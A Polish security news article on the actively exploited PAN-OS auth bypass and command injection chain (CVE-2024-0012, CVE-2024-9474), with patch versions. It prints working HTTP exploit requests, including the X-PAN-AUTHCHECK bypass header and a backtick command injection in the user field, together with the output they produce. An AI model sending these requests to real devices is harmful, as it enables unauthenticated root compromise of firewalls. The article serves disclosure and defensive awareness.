Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Absurdalnie prosta do wykorzystania krytyczna podatność w urządzeniach od Palo Alto (unauth RCE jako root). Luka jest już wykorzystywana przez atakujących.

20 listopada 2024, 09:05 | Aktualności | 1 komentarz

Nie znajdzie się chyba miesiąc w kończącym się już 2024, który nie przyniósłby przynajmniej jednej krytycznej podatności w rozwiązaniach bezpieczeństwa klasy enterprise. Badacze (jak również różni aktorzy nie trudniący się etyczną pracą) upodobali sobie firewalle oraz VPNy. Pokazują, że chociaż są to urządzenia oraz oprogramowanie, które służy do zwiększenia bezpieczeństwa organizacji – to wciąż można tam znaleźć naprawdę trywialne błędy. Tym razem badacze cyberbezpieczeństwa wiedzieli o tym, że luka istnieje i że jest wykorzystywana, ponieważ producent ostrzegał swoich użytkowników. Postanowili jednak sprawdzić co tak naprawdę poszło źle w Next Gen produkcie od bezpieczeństwa. Wnioski… no nie są zbyt optymistyczne. 

TLDR:

  • WatchTowr opublikowało raport opisujący dwie podatności wyceniane jako critical i medium ( CVE-2024-9474 oraz CVE-2024-0012) pozwalające na zdalne wykonanie kodu bez uwierzytelnienia jako użytkownik root
  • Ścieżka eksploitacji jest prosta i nie wymaga zaawansowanej wiedzy technicznej
  • Aby podatność mogła być wykorzystana, atakujący musi mieć dostęp sieciowy do ekranu logowania panelu administracyjnego urządzenia
  • Podatność jest wykorzystywana przez różnych aktorów w sieci, dlatego zalecane jest natychmiastowe działanie
  • Palo Alto wydało odpowiednie advisory i poinformowało (w kilkustopniowym procesie) o podatności swoich klientów
  • Producent informuje, że problemy zostały załatane w  następujących wersjach systemów: PAN-OS 10.1.14-h6, PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1 oraz kolejne

CVE-2024-0012 – obejście uwierzytelniania (podatność krytyczna)

WatchTowr pokazał, jak w banalny sposób obejść proces uwierzytelniania. Wystarczy… dodać nagłówek oraz sufix do scieżki w zapytaniu HTTP. Szczegóły tej podatności kryją się w diffie przeprowadzonym na podatnej oraz poprawionej wersji:

Rysunek 1. Diff pliku /etc/nginx/conf/locations.conf dla podatnego i załatanego firmware (źródło: WatchTowr

Z wcześniejszej analizy oprogramowania wyszło, że nagłówek X-pan-AuthCheck odpowiada za obejście uwierzytelniania (w przeciwnym przypadku użytkownik jest przekierowywany do panelu logowania) – szczegóły na ten temat znajdują się w oryginalnym poście. Nagłówek ten jest stosowany np. w przypadku odwiedzania URI /unauth/. Jak to z porównaniami aktualizacji bezpieczeństwa bywa – zmieniony kod najpewniej miał związek z podatnościami. Błędna konfiguracja powodowała złe ustawienia nagłówków dla .js.map.

Co zrobili badacze? Do podatnej instancji przesłali zapytanie pod takie URI, a w nagłówkach wyłączyli sobie uwierzytelnienie. Prawda, że piękne?

GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off

Listing 1. Zapytanie z bypassem uwierzytelnienia (źródło: WatchTowr

CVE-2024-9474 – podniesienie uprawnień (podatność średnia)

Dalej jest tylko “lepiej”, okazuje się, że kod odpowiedzialny za logi zawiera trywialny… command injection (możliwość wstrzyknięcia dodatkowych parametrów do polecenia wykonywanego przez aplikację). Oczywiście wstrzyknięcie gwarantuje atakującemu wykonanie polecenia z uprawnieniami użytkownika root. 

Rysunek 2. Diff pliku /var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php z command injection (źródło: WatchTowr

Okazuje się, że użytkownik ma możliwość zdefiniowania username, przy pomocy zapytania:

POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map
HTTP/1.1Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1

Listing 2. Zapytanie ustawiające wartość user na wstrzykiwane polecenie przy pomocy backticków  (źródło: WatchTowr

W efekcie atakujący uzyskuje piękny wpis do logów:

HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 09:39:17 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 108
Connection: keep-alive
Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS

Linux PA-VM 4.18.0-240.1.1.20.pan.x86_64 #1 SMP Wed Jul 31 20:37:12 PDT 2024 x86_64 x86_64 x86_64 GNU/Linux

Listing 3. Odpowiedź na zapytanie do endpointu zwracającego fragment logu zawierającego odpowiedź wstrzykniętego polecenia

Reasumując, mimo że marketingowo urządzenie jest “Next Gen” to “łańcuszek” podatności nie należy do tych bardziej skomplikowanych. Póki co badacze nie udostępnili zautomatyzowanego PoCa, ale na bazie opisu możliwe odtworzenie i zautomatyzowanie tej trywialnej podatności. Zademonstrowany został za to szablon nuclei, który pozwala sprawdzić czy Wasz host jest podatny. 

Jak myślicie, czy końcówka listopada oraz grudzień to czas na kolejne podatności w firewallach i VPNach? Da się nas jeszcze zaskoczyć? :) 

IoC opublikowane przez dostawcę znajdują się tutaj.

Aktualizacja 11.20.2024 10:08 CET

Na portalu GitHub pojawił się skrypt nmapa.

~fc

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. juzef

    Zabawnie zacznie być jak to wszystko będzie pisane przez AI bo programisci i spece od bezpieczeństwa drodzy.

    Odpowiedz

Odpowiedz